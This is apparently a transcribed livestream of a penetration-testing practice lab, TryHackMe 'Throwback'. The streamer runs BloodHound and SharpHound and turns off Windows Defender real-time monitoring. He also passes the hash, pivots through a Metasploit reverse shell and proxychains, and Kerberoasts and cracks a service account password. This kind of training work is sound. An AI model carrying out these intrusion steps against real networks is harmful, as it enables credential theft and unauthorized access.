Trying to do some more twitch things so I got I got like the little green screen going on And I got the chat over there above me. This is really disorienting It's good to see everybody. Thanks for it. Thanks for coming to hang out We will do a little bit more Try hack me throwback I'm gonna catch up as to where we were last night but To get the chat kind of where it is looking at least relatively decent I wanted to make the screen actually visible and not like if you happen to be looking at a white screen I don't want that to be like shown and Be kind of tough to read the chat so I figured I'll just put it in the black background and then I'll just be hanging out over here in the corner but Then it kind of defeats the purpose of like me making this green screen So there is a green screen behind me and you can see like wow, it's it's it's I'm in a dark corner video editing That's not video editing but I could show you like the green screen behind me if you wanted to see like wow He's really he's really he's really doing it. He's really saying those words and those really make sense Let me show you this. I'll turn off the chroma key for just a quick second boom boom the illusions over Apparently it's just gonna Apparently like it's just gonna ruin my video though incredible That's the kind of thing it's like wow you could you could just Restart oh no, you can restart OBS and then it would look decent, but now it's just horrendous What the heck why did I even try to show you this? Why did I even bother wow a Truly a professional and you can see like so it's that it's the Dell XPS 15 cam. That's like goofing off down there All right, we're gonna do some drastic measures and we'll just we'll just nerf this webcam Yo, we'll cut this part out We'll cut this part out of the video Well edit this in post Wow, thanks everybody This is really what you came to see I know So we're doing throwback All right, everything's everything's better now We got a we got one more monstee we're to continue to continue to streak and I guess we'll I guess we'll do it. I don't remember really why I left off not gonna lie I'm gonna have to do a little bit of catching up Myself just to remind me where we are I Think we were about to do some like bloodhound which is super duper cool. I don't think I've done bloodhound since Sands hold a hack challenge. I don't remember what year it was that we had that. Hey, I'm alpha What's going on? Holy green screen and chat. Look. I'm a really I'm a real twitch streamer. I'm a real boy now. I'm cool So I should probably first of all connect to the network I don't really worry.  Are you guys texting me while I'm trying to stream? Yeah, hopefully terminator actually lives to tell the tale today Network is running dope Can I ping production? Please don't be five hours today. What? Well, how many hours do you want? Okay, we can ping production. So that's a plus What else do we got? Where do we end up on I'm trying to remember like where I actually left off We got some Mimi cats logs where we found the ntlm hash for that Peters J user and Humphreys W from his old ntlm hash At least six hours. Yeah. Yeah We'll see how we do this is kind of the benefit of Having this nightly solitude for the weekend so We were on the box What what do we need to do with bloodhound? Now that you have a stable foothold on the throwback workstation 1 Your team has informed you that it may be I want to make this text bigger So you guys can see it, but I guess this is the best we're gonna do Maybe that's to enumerate what's on the workstation from the shells you've gotten from fishing in PF Sounds logs as well as a new shell from passing the hash Okay, so we did RDP into something. I Have remnant open for that. Was it production that we already peed into? You guys got to remind me you mean you don't have to I probably should have like taking notes But Peters Jay and the password. I think was 317 or 319. Oh boy, I don't remember Okay, it was 317 incredible and that works Let's make this a big screen and we also knew that we had saved credentials We also had star killer up and running with Empire and we ran some commands. We ran some modules so that we would be able to get We would be able to get logs and Mimi cat stuff etc etc You set up Cali on WSL last night with the winkey. It's pretty interesting. What is are you saying win kex? Kex intentionally or no, I don't know. How do you guys like this chat over there? I feel like it's taken up a lot of space I'm gonna have to I Feel like maybe it's just not showcasing your Messages long enough should I have like the always-on chat kex is a desktop environment for Windows? I'll look that up admin Peters Jay and Well, it was it was profile right and then we would just run cnb to the xe There we go Now I am Admin on Peters Jay, so this is at least administrative account which helps and I needed to do some bloodhound stuff So let's do that bloodhound is a graphical interface that allows you to visually map out the network using database visualization from Neo4j Bloodhound along with sharp hound or any bloodhound ingester takes the user groups trusts in more of a domain and collects them into dot json files and Creates a graphical database in Neo4j to view information of the network We'll be focusing on how to collect the dot json files and import them into bloodhound and to make basic and custom queries in Neo4j So we need to go ahead and install it I am on Ubuntu and I am not on Cali So is that actually going to be in my repositories? Part of me doesn't think that it will be I'll be honest Nope. Okay. How do I install bloodhound? Bloodhound Don't give me an actual dog. Thank you. Okay fantastic Bloodhound Ad active directory. That's good stuff. That's is really what we're really looking for. Oh, we just have binaries fantastic We should be smart about this one and actually just download the binaries rather than Trying to compile things like what we were doing with CME and the crack map exact the other day. That was that was rough. I Appreciate you guys that stuck with me for that, but let's go ahead and save this download it and let's make a Directory in my opt folder For bloodhound so let's move that downloaded bloodhound zip file and let's go ahead and unzip that Since I'm working on a new resolution for that other screen man. It really is is hard to understand what's happening That's one big op folder. Yeah, I got a lot going on in there.  So maybe I can make your messages like actually hang Make that stay Give me just a moment Please Please You like the chroma key. Yeah, so I'm trying to do those more twitch things Put some epic memes there. Oh, dude.  I'm a real twitch boy now I'm not I'm not at all. I'm not literally Okay, bloodhound is doing its thing Bloodhound is happening bloodhound is is running and then Neo4j console Should just do that Neo4j and Neo4j. Those are the only credentials. Yeah Sorry frantic alt tab Neo4j Save that password. It's super secure. Oh, we don't have a database running Oh, I guess I probably need to do that Neo4j thing. Do I have that? Should I actually have a database I'm confused I'm immediately confused To get started with bloodhound check out the documentation. That's what I'm gonna do graph theory Okay, I guess we need like databases, right Neo4j is separate if you want to install I need to install Thank you, Jaxmas. Oh man, I'm so glad you're here. Thank you. Where's Krillix? Neo4j that's got to be like in my repositories. I would think I would think that one would be at least on Ubuntu anything Neo4j clients Do I need the server? I feel like I need the server Well Which of the let me go to install. Okay. They should showcase it here. They add it into that Let's do it. I Don't think I need to get the latest job version But whenever I make those assumptions things go wrong So let's find out We'll charge right on ahead add this to you. Oh gosh. I have to sudo this Can I do a little tea? Suda or sudo tea this game So now it should be in there Cat that good. He's in there apt transport HTTPS I'll do that That should already be installed. It sounds like and then is Neo4j now going to be in my repositories No, oh Pluggy 11 trying to use some bot commands. I don't know how to do those things yet Yeah, Neo4j is not Apped update. Oh, you're right That should have happened and I didn't do it. Thank you. Thank you. Thank you chat Ominous external human being chat How have you guys been doing today? How's your Sunday been is it Sunday where everyone else is? Yeah All right, cool. Now we got Neo4j.   So when I stayed up late yesterday, we stayed up until maybe like four in the morning I think we started we we stopped streaming at like three and then I chilled played some like cybersmash brothers just to goof off and Then I went to bed and I woke up at two in the afternoon This is not normal. This is honestly not my Sleep schedule whatsoever. Now. Why did I stop this? Do they run it again? Sure? I'll stop it How many monsters do you have for later? This is the first one. This this is how I'm gonna prove to you guys like Oh, yeah, we're in this for the long haul once again Is it gonna be in? User bin is that we're actually put it a less Neo4j it did it. Okay, great And then I'll just run it in console. Will that work? What failed the server database was successfully initialized but failed to start. Oh, I probably need to sudo this thing Yeah, yeah, yeah, I see you I see you I see you guys in the chat. Tell me Run everything is rude Yo, I'm really sorry about that microphone issue earlier. All right. He's doing his thing Is that the right port? That's good. Just sudo as you. Yeah, everything's perfectly fine Good none of these text messages are important. Let me turn off my eye over chat We're keeping it real What Mike do I use this is an audio Technica AT 2020? People tell me that it sounds good. So That's why I use it You might need to visit the website though to set up your password And that's the thing that it says it's listening on right? Yeah Yeah, yeah listening to turn up. Oh I got you. So bloodhound suggested bolt Is that what it should be? What is the difference between bolt and Neo4j? Yep Bolt, okay Jackson was to tell me bolt. So bolt it is username and password and let's just do the Default things that this Recommends it's listening on local host. So I'm okay with it. Can I Just do that can't use an old password Did it just not do it? I'm confused. Let's try your bloodhound. We'll see it now Credentials need to be changed. I just did that or at least I tried to and then it yelled at me And the like the page just stopped We're doing it again Neo4j learning Let's use a super Good password Great Now we're doing it Okay, so bloodhound will just be able to do a thing at that point Let's Connect to it with bloodhound Success incredible And he's just walking along. Oh Beautiful incredible. All right now. We're gonna do some sharp hound stuff sharp hound was actually in the Binaries that we had downloaded yesterday. I thought right that was in opt and it was like the ghost Ghost back compile binaries. Yeah, we have We don't have sharp hound We have sharp other things Okay Let's go get sharp hound bloodhound ingestors Sharp hound dot exe and sharp hound ps1 the exe is probably What we need so I would move all of the following to their own terminal window. I would like Let them do their own thing Just like let them live. Oh Gotcha. Okay. Yeah, I mean that's a good point and that way they if the thing just crashes and dies then I Won't be hating myself Let me Make a directory for a sharp hound and then I will totally leave This one alone. I'll move this terminator session alone Just so I know I will set the Profile to something Useless And I know that this is not the terminal that I actually want to be interacting with anymore great Now I have a new and better terminal. Oh Thanks, Wester. I appreciate you hanging out. What's going on ethical kid? Welcome everybody. I really appreciate you coming to hang out Okay We have sharp hound. Oh, they did the ps1 file Can I do the ps1? Let's let's Should we try the executable? We already download the executable. So Let's get back to where we were and try hack me and hosts in production and Let's copy that op directories Sharp hound sharp hound and bring it over here. So now we've got that and then let's do some mHTTP They actually yeah, let's go for the executable. Give my IP address dope And then let's Start up a little server. We don't need to specify port.  I can't actually clear the screen in this That's okay. I guess we'll just be looking at it real real low on the bottom So let's go ahead and download this we can use W get because that's a fine alias for invoke web requests Let's HTTP my IP address on port 8,000 and it's sharp hound that we need is a capital Let's let's use the capital H Did it do it? No It's not Wait, what wait what? The executable probably is getting like nerfed by Windows Defender maybe Yeah, yeah, everyone's saying go for the ps1 file and we can we that way we can just invoke it right away If I can get back to my screen here. So the ps1 file Is this going to execute the thing right away? Or do I need to specify it? I'm trying to find the invoke bloodhound and Just does it Collection method all is that how they invoke it? I think that looks like yeah, okay cool. That's exactly how they invoke it sweet. Oh And they use a bypass version interesting Let's see if this will actually stay on the box and not be Ripped Krillix good to see you buddy Can you hang out with us? Hi hi Hi, let's download sharp hound ps1 Let's I shot. I probably should have like done a push D and pop D to get back to Preve Startup that HTTP server again it should be dot server and now let's download that once again But we'll grab the ps1 file and let's see if that actually gets to keep its contents No, excuse me I'm wrong What What What where did I put that thing? Oh, oh, I didn't I didn't move it from opt yet ps1 do it There we go, and now we can download that Hallelujah Look at that actual content incredible so I'm in power show right now and they used a bypass profile. Oh Yeah, you're right. I Probably won't be able to just straight up want it run it. Will I let's find out Intest Okay, I guess it just did it I didn't need to specify the execution policy Apparently what is what is the execution policy? I can just look get execution policy I'm already running it with bypass apparently somehow. Okay. I'm good with that. You know what we're fine so They just ran it and that would bring all the functions in the scope and then we saw in this source code when we were looking at it There they offered the example syntax so the collection method that we can pass I guess is all the domain for throwback and then we'll specify a zip file Loot, okay, and then we can pull it back down When they use SCP to get it back to us What what is this supposed to be doing? I'm confused what that command is SCP loot. So you're bringing loot over to a Workstation one and just putting it in there. I guess so I guess so Yeah, I know I understand it's just transferring the file But it's bringing I thought you would want that loot information over on your attacker machine. Oh Crillix is telling me that might actually be wrong Okay, let's do it. Let's just run the command then I'm running this on production. Should I be running it? on the Ws1 I think that answers my question. I Probably should be in WS1. Shouldn't I be? Oh? Well We have credentials for WS1 Do I need to be running as an administrator on that because I think all we have is Blair J Or Humphreys that previous section was telling me When we did some past the hash and we did CME Any domain user is fine. Okay, great. I'm running it in a local user. Oh I You're right. Sorry I'm doing this in my I Was doing it as the admin Peters J user currently inside this command prompt. I am adding Peters J Which is just a local admin As far as I understand There's a way I can find that out Yeah Let's do it from this power shell Let me check the execution policy as I do that. I Still bypass great. Let's run him And try that one more time. No What check if you're in a domain context is this wrong because I'm running it on production on prod should I be in WS01 because Chronologically that's where we previously left off so What was Blair J's hash? Got evil win our M over there. Takai 10 224 222 user was Blair J And her hash we can track down.  Oh Okay, good. I'm glad I'm glad Krillix is just as surprised as I am Even when our M you got anything for me You got any news Did I specify like a port or something with that lowercase p should that be wrong? No, it's password We'll use the NT hash We'll use her hash then Whack, I'm bad at this the server has rejected the client credentials What try this on PowerShell credential equals new object system management automation PS credential get credentials to get credits Can you try the creds on the AP address that ends with 219? Yes Let me let me Let me try to do that evil win RM over to production. So that is just going to be running Did I break the domain controller? No, I didn't even touch the domain controller. Oh, okay so evil one RM with Pass the hash Will work for Blair J on 219, but it didn't seem to work on 222 on WS01 That is what I was looking at right and Libby cool is Suggesting that I go ahead and take a look at credentials here Where I try and specify them Was 222 blocking connections? I'm just confused why That isn't happen. Oh, you're right. I'm sorry. Oh my gosh. I'm sorry. I didn't need a proxy change that I'm pretty sure I need to set up all the proxy chain stuff again, or I could just use this SSH tunnel thing. You're right. We forgot about proxy chains. Gosh darn it We should use the actual We should use actual proxy chains and not just SSH tunnel. So Let's we have a interpreter in here. Don't we or I thought we did We have something we have MSF console. Let's think and start that up at the very least Let's oh, I think I already downloaded that on that box Yeah over on this machine I do have in Windows temp unless it's died unless that yeah met is still there So we still have our interpreter from the other night With that said we can use multi handler over here Excuse me and set the payload to Windows and interpreter reverse TCP and That I managed to get SSH tunnel work. That's like, yes. Yeah, we did. Yeah, I thought we did. Were you were you there? L host Ton zero for my p address lots of typos and 4141 is what we rent with yeah, no worries. I totally understand and That's getting us into Purdue or WSO one, which is good. We could also background this and Run met here. No, I have to dot slash it Do I need to run that one more time? Okay, now 219 is a thing Now we're on 219 in session two. So Great Sorry, rookie. I appreciate you coming to hang out. I Appreciate you come to explore with us. I'm still learning like this whole thing set exit on session false. Oh Oh, I follow for that I Apparently just sent money to Nintendo so that I could continue my Nintendo online subscription. Thank you PayPal for giving me the notification Yes, use auto route auto route I need to know Fantastic, I think I just need to set the session right set session to and set Subnet 10 224 slash 0 slash 24 do it. Okay, great. Now. Let's use that socks proxy Now I have to search for this every single time Search socks for a Why can't it just use that I can't know that that's what I'm referring to why don't I run LS? So is that show options and then it's good? Do the thing? Okay, with that now I should be able to proxy chains over to to to with her password Well, that one work Will that just do it or do I need the hash? This is apparently taking a little bit of time regardless we do have we do have access to to to to w s 0 1 because of interpreter so We just we had that original callback with the phishing email back when we were looking at squirrel mail Proxy changes just not letting that happen Maybe that box Can't do that for some reason Trying to get on WS 0 1 It's not doing much for me Okay, is this shell still alive? Oh You're right. You're right. You're right Yeah, when RM might not be on it, but probably SSH is if it's a Windows 10 machine I don't know if it's gonna be open, but I guess it's worth a try So SSH Blair J at to do to Yeah, my network is probably just kind of crapping out and we should give it some time I'm totally cool with that Let me do that after we see if we can Get into this with a password No, do I need to specify like a domain for using that login if that would be weird to me. I Don't think I've ever seen that with SSH Do what is that a thing I Feel like that's not a thing. Oh, oh, I just put Blair. Thank you gosh You guys are the best Can I log in amazing Okay, okay We're all good Let's try and see if this can get Sharp how to work Because this is just a regular domain user Let's do it If I run PowerShell will it behave? Yeah, okay So, let's W get HTTP my p address which is 1055 something 1050 225 I will someday remember that Proxy chain sometimes doesn't like win RM. That's good to know Now that I know that Sharp hound Dot ps1 And let's see if this will behave Gotcha, I am just going to be lazy and Totally steal the Suggested one on the website In book bloodhound collection method all in specifying domain And then crank that out Nope, that's RDP. I don't want to be in the RDP. I want to be in my SSH session Whack.  Do I need the exe now? Is that what I should have done earlier let's grab that exe and see if it actually loads nope won't do that either Okay, so Let's just run it through Memory right we can try that If I do a little new obj net dot web clients I can Download the string of HTTP 1050 22.5 8000 and run it Still doesn't like it What could I just turn off? It's anti virus right it's windows defender that's telling me I can't run this thing realistically, I think we should be doing this on prod and Krillix kind of mentioned we should probably bounce the network maybe I XL are vii. Yeah, it has zero bytes because I think Defenders just gonna remove it you could just disable defender. I'm just a poor poor domain user Can I actually do that? Are you are you joshing with me right now? Is that a thing? PowerShell disable windows defender. I I'm a local admin I'm not a local admin. Am I a local admin? I don't think I'm a local admin I'm a local Am I literally am I actually What? set mp so libco local I don't I I'm sorry. I'm gonna butcher your name Is passing a long this little command That might very well Turn off real-time monitoring Disable real-time monitoring Robin. Hello. What's going on do it? He did it. I Think Can I get that preference and is that gonna be like an actual thing real-time? Monitoring disabled real-time monitoring is now true. Okay okay Can I replace that sharp hound executable now? Well that just work No Nope, I still have zero bites here Lamo Maybe I can run sharp hound up he has one I Can run sharp hound up he has one that was awesome Super cool. Okay Now we could try to actually run in invoke blood and it's doing it. I Think I hope It sounds like things are happening bro the green in the monster is being demolished by the green screen That's so funny sharp hound enumeration completed Okay, so now I have a loot Dot zip and this incredible dot bin file That's great. What else we got I guess I can just kind of pull this down now. Can I so I Could proxy chains SCP right proxy chains SCP Blair J at 10 224 222 on Users Blair J this thing and just bring it here And now we need her password Do it do it do it. Yes. Okay. Awesome. Okay. We got the loot We have successfully done our enumeration that bloodhound it needs and Now that bloodhound is running we could upload this zip file and do it So bloodhound I need to hit this import graph is that right? Uh CTF Yeah, I could just drag and drop the file. You're totally right. I Put it in prod didn't I yeah Bad Jason file Let's drag and drop the file. Maybe it'll just kind of know what to do with it Go what Ubuntu version is John using I'm using Ubuntu 20 oh for currently Finish processing all of the files Great Now what to view the graph network open the menus like queries This will give you a list of pre-compiled queries to search from queries Find me the shortest path to domain admin. Oh boy. Oh boy, so I don't fully understand what I'm looking at yet default domain policy has a GPT link and This user because that's a CID isn't it? labmaster contain spooks and Spooks is a member of domain admins group any of these Realistically are Mercer H What is this guy? Oh admin and throwback the local that makes sense This user or this CID Am I saying that right?  So I need Mercer H Spooks or Task manager it sounds like Task MGR. I look I don't know Am I not seeing things that I should see because this screenshot is not the same But I guess it's a completely different domain. I'm using Ubuntu 20.04 in my case What service account is Kerber hostable? Bloodhound can figure that out List all Kerber hostable accounts That sounds good to me SQL service and the Kerber host ticket the SQL service I can zoom in and out on that. That's very fun. Okay Yeah, what domain does the trust connects to? map domain trusts Corporate corporate dot local and I've seen that in the actual Like network diagram that you see at the very very top of this lab here What normal user account is a domain admin? Spooks How can I tell what's a normal? account Hans Mercer Yeah, okay. I see acrylic says that's a screenshot of the different lab just to give examples Good enough good enough. Oh That guy has a flag Mercer H has a flag I don't know how I missed that Noted that real quick Directive local admin rights Let me see if I can just slap this flag in here somewhere. What is the account description flag? I should like oh I should have figured out that user flag on here. I am actually still on that aren't I I'm still on WS, so desktop dr No, she's root. Yeah, she's a 9c5 I have that don't I do I not have this what? I probably wrote it down elsewhere. I think this is like number nine Is that right? Yeah What is the root flag on throwback? WS-01 sorry, I realized that I'm kind of falling down different rabbit holes right now But I just wanted to make sure that I get those I Realize I'm being distracted for my original bloodhound task Let's Go get the user flag so I am going to Get Child item Recurse Where the name is equal to user dot text and that is in Humphrey w What what bot command should I have for twitch guys because I see you guys throwing These exclamation points and I'm not twitch smart I This is the second stream that I've done on to which so We keep it real Nightbot is typically just the thing Okay, I'll do some of that Get back to bloodhound where we at what is this description that I need to be caring of I Think I mentioned I thought I saw it say description What is the account description flag on DC zero one so that's got to be it number 15. Yeah, okay Snag that You guys look like you're having fun though, I appreciate you guys working in the chat. I'm glad we got it going in the video We're trying to amp up some of those twitch achievements so that way we could I Don't know get that affiliate status, you know What is this B8 one? Oh, I just Randomly copy that that's fine. Great We were still doing bloodhound. Let's get back to bloodhound We needed to know What normal user account is a domain admin is that Mercer H? Yep is Mercer H My phone is going off Chill stream time Some people watching the other video John isn't elite Haxer. He doesn't use team X and Cali. That's true I've never considered myself elite Haxer. I Literally say that I'm a script kitty Upon looking through bloodhound careers your team believes that they have might have found a sequel service account That you can Kerberos and possibly use to gain access to sequel databases in the future. I Shouldn't immediately Just turn myself off from bloodhound. I do want to kind of look at other things that this can do What is that DC sink rights? What are DC sink rights? These roles have replication permissions that include the following rights Enable a DC sink attack Replicating directory changes replicating directory changes all So that's a known attack a DC sink attack impersonate a domain controller ah Yeah, I guess I can understand why that might be a bad thing how the DC sink attack works hmm you have Oh, sorry acrylics. Oh, I'm reading on ahead more than I should be you sink two different domain controllers So if you have full access to one you can have access to the other that's cool Yeah, sweet. Let me put it away if the if the class is going to teach me if I'm going to get schooled on my own then Upon looking through bloodhound careers your team believes they found a sequel service you can Kerberos Yeah, oh, I'm so excited. We'll get to do some Kerberos thing. I haven't done this before It's one of those things like you hear it all the time, but I'm just not that cool Kerberos thing allows you to request a service ticket for any service with a registered SPN And then use that ticket to crack the service password hmm If the service has a registered SPN, what is SPN? Do we define SPN and I just not know it SPN SPN SPN We did this earlier. Oh, no. No, this is no service principal name Service principal name Thank you chat Service principal name is unique identifier of a service instance SPNs are used by Kerberos authentication to us associated service instance with a service logon account This allows a client application to request that the service authenticate an account even if the client does not have the account name okay okay, so this Is it is it fair to say if I read this that a Kerberos thing attack does boil down to password security like I'll press the I believe button on the SPN the service principal name if a service has that It's using a service password, but the complexity of this attack barring that is just Based off the password. Is that right? Am I understanding that right? To enumerate Kerberosable accounts, you can use bloodhound to find all of the Kerberosable accounts Oh, sweet. Yeah, the attacking Kerberos room goes way in depth in this cool Hopefully we can tackle that after this thing To enumerate Kerberosable accounts use bloodhound to find all the Kerberosable accounts Great and that will allow you to see what kind of accounts you can Kerberos that's an incredible sentence If their domain admins what kind of connections they have to the rest of the domain Okay, if you want to look for what you're looking for look for what you're looking for and you'll find what you're looking for I'm not hated. I just I think that's fantastic Impact releases have uns have been unstable Oh, I think I heard yeah, I heard the cyber mentor saying this same sort of thing in one of his streams 0.9.2 0 was like getting wonky What version of impact it do I have? Impact it in impact it. Yeah that thing. Nope from the command. Okay Impact it How do I know how do I know what version I have? Is there a regular command? I guess I could just kind of Check the read me or the changelog. Yeah, you guys are right version Version version version. That's it great. How about that changelog? 0.9 15 Am I using way old? Oh, I guess I could use pip but I'm sorry pip three No, that's the pip version You're trolling me That's fine I'm assuming under the changelog That it was this 15 So I don't think I am In the wrong right now. So Gotcha Kerberosing with impact it we have a get user spn's And we want a proxy chains that How did we get to 117? Where did we randomly choose that ip address? Is that just the sequel server? Can I use rust scan with with proxy chains? Proxy chains rust scan 10 200 of 24 117 Probably not Let's do a little end map Oh god proxy change is going to be like here's everything Oh, yeah, that has a 3389. So I will trust that that is the sequel server team view select rough We had A list of hosts that we gathered Earlier and 117 was in that list And that was 3389 we could scan some of those If we wanted to it's actually the domain controller, excuse me This proxy chains output is tough to listen work through It has port 80 open It has SSH 139 445 So Okay Oh, you're right. I'm sorry Yeah, I I misspoke. I said rdp. I said 3389 is rdp. I meant 3306 Or 3036 what the hell am I saying?  Or is that going to be I guess so I mean you're just passing it as the dcip Do you always run that get user spn's on the domain controller? Or can you do it on like another? machine that Is running a service Like if I had found the actual sequel server, could I specify that for get users spn's? Okay, and any valid set of credentials? That's crazy So I could use blairs Try with some frets Okay I I will believe that that is the domain controller. I'm fine with that and I'll use get user spn's python python three and We need to specify the dcip address 224 117 and You specify domain and a user. What is this tack request? throwback Dot local slash Blair j. Let's use hers just for the sake of learnings And slap that bad boy in and request Does he do it? Request request a service to stick it. Oh, I need to stink in proxy chains I think I'm pretty sure Oh, shoot. Yeah, is that version off? Oh, no I mean it gave me a ticket. So Gave me one from sequel service acrylics. I'm happy to hear that. I'm glad that this is uh actually kind of helpful for you guys I was thinking about going through it because like well, I'm going through and reading everything. It's easy for me to be like That's spelled wrong that grammar. Does it make any sense? And it's just easy to be like a poopy Debbie Downer negative Nancy Poopy Patricia But I thought like let's make it. Let's make a uh Let's make a Pull request for throwback like fix everyone's typos and like no, that's a horrible horrible idea Um Okay, now we have a thing We have this ticket Right That's the best way to refer to it What is this What is the best way to refer to what I actually just received? Is this am I understanding that this is a ticket? No, I totally get you. I'm playing with the acrylics. Obviously trying to write 37 tasks Is no easy thing and I mean you've done an incredible job going through all of this So thank you for for putting up with me Badgering you with questions No, dude, I'm teasing you. You're good All right, we've got a hash anyway, so let's uh keep track of this I What I'm I'm struggling to know what to call this though This is credentials for the sequel service sequel service hash Kerberos hash just slap it in You said write instead of write and it makes me mad Yeah Granting ticket hash. Is that right? Is that is that what I got cake fuming? This is sequel service Yeah, yep. Yep. This is definitely a sequel service thing. So Let's get my collab cat going again Here we go Can I Go back to the collab cat that I was in Oh god, I'm super zoomed in I don't want this. Oh no. Oh no. Oh no I'm just gonna make sure that I've got this collab cat stuff set up again I think I can revisit the same thing that I already had opened I think Let's find out acrylics Congratulations. Oh, yeah, I need to do the authorization things again uh Let me do that real quick. Sorry allow allow I'm I am very happy to learn about collab cat though. That was kind of this has been very very much kind of cool This is new for me That failed to do it. So Once again, the author the authorization code didn't get it right The same thing it was like giving me trouble in the last stream yesterday I'm gonna see if I can do this again Do you think Do you think normal hash cat will be able to crack this fast enough in my case?  Yeah, I don't want to do I don't want to do that locally at the moment So I go to this thing And I get the code And I paste it in And it tells me it's wrong Why I don't know what the I don't know what the obsec is a concern is In this case Yeah, I'm seriously. I'm doing this over and over again fit times the charm It's frustrating If only we had gotten to this part last night when collab cat worked properly Oh my gosh, it actually did it You know what I think happens I think When you click on What google has that little uh copy clipboard icon for you. I feel like that copy is like the wrong thing Or it doesn't Do it Or or it doesn't actually copied into your clipboard. So when I like highlighted the text it would work just fine Just that like when I did that locally it behaved. So Now we'll let uh now we'll let hash cat do his thing Nightwolf, what's up? How do you think what do you think? I feel like the the green screen thing is kind of weird, but it's good to have the chat I wanted to have the green screen where over my video where it usually is so it looks like a little bit I don't know cool fancy, but then me trying to put the chat in there If it were that it was the text over a white Screen that it would be really hard to read and it would just kind of suck So I figured like let's go for a lower resolution video and have that off of the side So you can see the chat and me chatting It kind of like takes away the Beauty of the green screen though is if I have a black background all around me. That's that's not as fun So so we got to get past two hours To be able to reach that eight hour achievement for Eight out eight hour achievement for streaming and getting into like The twitch affiliate thing or whatever So We did six hours and 11 minutes yesterday and because we went over we crossed the timeline of One day and to midnight it counted as two days So we already have the okay stream for like however many days in the 30 day period So yeah, we're gonna be we're gonna be pretty easy easy breezy Beautiful cover girl on all those other treats achievements So I'm grateful for uh Appreciate the support trying to make some of those twitch things come through People told me like it'd be really cool to hang out on twitch because I feel like a lot of times when I do youtube videos, it's a very it's a very very prepackaged Like obviously i've done the room before i've done the machine or like i've already kind of figured out What to do and you can like it's an act right it's a show Yeah, so when I get to stream with you guys it's Me being a little bit of a goofball and me totally failing repeatedly and Letting terminator crash and recovering From things going wrong. So just a different feeling a little different vibe Yeah, that's exactly there's no fourth wall here. That's a good point. That's a good way to say it and when I uploaded the Previous part of this onto youtube. I think that was kind of well received, but I did that strategically to like Slightly pull some of the youtube audience into this Okay, uh, don't actually run that actually Yeah, thanks.  I have hash cat I still can't see what I type Incredible so I want to get into my drive and Dot hash cat If I type that right no Where did it put all this? It did it.  I can't see I still didn't do the reverse shell. This is not entertainment. Can I do the reverse shell honestly? I'd have to like get into my BYOB server or like run n grok and that wouldn't be that much fun I could n grok, but I've actually never done n grok before That would be weird too Or I could just hop over to my server mmm Let's not though. Let's not Do a reverse shell on on google stuff CD drive my drive We did it All right. Now we got all this stuff. So let's echo literally all this into ticket dot text Can I cat out ticket dot text and it has all the output It does ooh It tried to use some bash Variable expansion in there because I didn't use single quotes I can see that right away and already know that's wrong Now let's check out ticket. There we go. Okay. Now we've got the the full string in there um What is this suggesting that I do what hash is it going to end up using what hash type hash cat types Kerber rose kerber rose kerber rose What does mine look like? five tgs And 23 let me search for that 13 100 is that what they suggest? Yeah, it is amazing Okay And we do still have Rock you in here. So we can hash cat tack m 13 100 ticket dot text with rock you dot text And He's cruising I think doing his thing Gotcha Now if I scroll all the way over We have a cracked password of my sql 3375 7 0 Nice Oh, yeah, don't know how you're doing the commands blind. I would just copy and paste them. Yeah I don't know. It's trusting that I can type okay cracked password for sequel service account I had a question mark because I'm not 100 positive. What account was compromised by kerber hosting? sequel service My sql 3 7 7 5 7 0 Uh, I forgot that number 3 3 7 5 7 0 Gotcha Alrighty You're five minutes late Oh goodness after doing everything that you can with your initial footholds Your team thinks it is time to look at other resources and services that we have opened while moving through the network Since these are internal server Since these are internal server We will need to run your browser through a proxy chain with foxy proxy to forward your traffic through the proxy server We can use cme again along with the proxy server to find all open servers run cme again to find what devices are open well We ran the ARP scanner to See all the machines Yeah, i'm alpha dude. You didn't even see what we were doing the other day We got a we had a monster. We had two monsters in the day. I opened the other I opened the second one at like one in the morning So We're different long haul It's three at 3 30 am where you guys are so We do have that throwback time time keeps server um I do remember this time keeps email. We should go find that box though. Which of these Which of these is the time keeper I mean like a internal hosts dot text file and then Let's clear out all these guys Um, and let's actually make each of these New lines a comma I don't think I need to care about dot one though or the 25 because that's going to be a broadcast so Let's proxy chains nmap tech v All of these to Uh God what I can get I can normally get a hostname with SMB right so if I were to use tack sc and tack sv and specify port 4 4 5 I should at least maybe give me able to get a hostname I think that's a fair assumption And then if I use taco and I can save this in nmap internal Right Let's try it Some of these closed Was that useful whatsoever? I honestly don't know Can I smb map? Probably Is the network down again? I don't think so I should extend it though if I have 45 minutes left we'll amp that up he's still uh He's still running And I don't need that dashboard in the way I would have expected Something to respond though Is my nmap syntax wrong Let's just use one of these And I don't need to do that What if I did it? Yeah, I could we could do the whole subnet, but that would just take forever Right Multi-gatherer resolve hosts What does that do? Oh, that's true if I'm looking at just one port it probably wouldn't take all that long I'll I'll spin it up use that that slash 24 and see if we actually get any hits Uh That might not be what I need in in metasploit I'm trying to see what I could do to get some of the smb names can crab map execs exec do that CME get host names with smb Yeah, I'm looking for time-keep. Sorry. I'm trying to find the uh The machine that it is I'd like to be able to smartly go ahead and figure out Does it really? Even am I specified like all the ip addresses? If I don't supply anything to CME does it just like look at things? Let me try. Let me just let me just try it and find out opt CME smb And I didn't do anything because it needs arguments. I'm assuming I'm gonna sneeze stand by Thank you for notifying me that I'm still muted I'm not good at this Well, now we're like looking at stuff I think You know what is an even better idea? is to end map these on port 80 and See which of them actually will tell me their title And which of them will tell me like hey, this is the time-keep program That's another option and that We could probably use the Tag is oh true netcat We'd have to do like a stupid get thing though What is the what is the raw? netcat Like what is the raw http get requests? I genuinely don't know at the top of my head. It's like http slash one get forward slash or something Uh If I do this on 10 200 two 84 183 was the Was 183 the firewall 138 I was super close Can't you get it from power shell from the sheen you already have on the domain? Uh, maybe what are you envision? How do how is that a quick one-liner thing in in? Like power shell that you're thinking is that how it's done? Http get request domain dns I'm not understanding what you're thinking. Sorry Yeah, you did an extra new line in there grep title incredible cat internal hosts while read line do Echo the thing into the thing on that internal host Grep for title and do the done Some of those might fail So let's do a timeout one second And let's echo the line each time that we do that Why power shell resolve dns name 10 point? Oh Oh I now understand Relatively what you're saying resolve dns name 10 224 117 Does that do a thing throwback? Oh, it gives me a little name host. Okay Cool And now I understand So there are a few of these 79 Can I supply multiple here? Or is that going to be weird? Yeah I could do like a while loop if I wanted to but And this might take a little bit You can dump 80 dns from a regular user commas in between. Oh, yeah, I guess where that that's where they try to We'll do that after this one if it comes back We'll see if this one will respond. No Do I need to set like a domain name or a domain server for the thing to use rather than just what it's already using Trying with commas that didn't like that 176 The dc it responded Yeah, ooh Nice Okay, very cool That found throwback time throwback time is 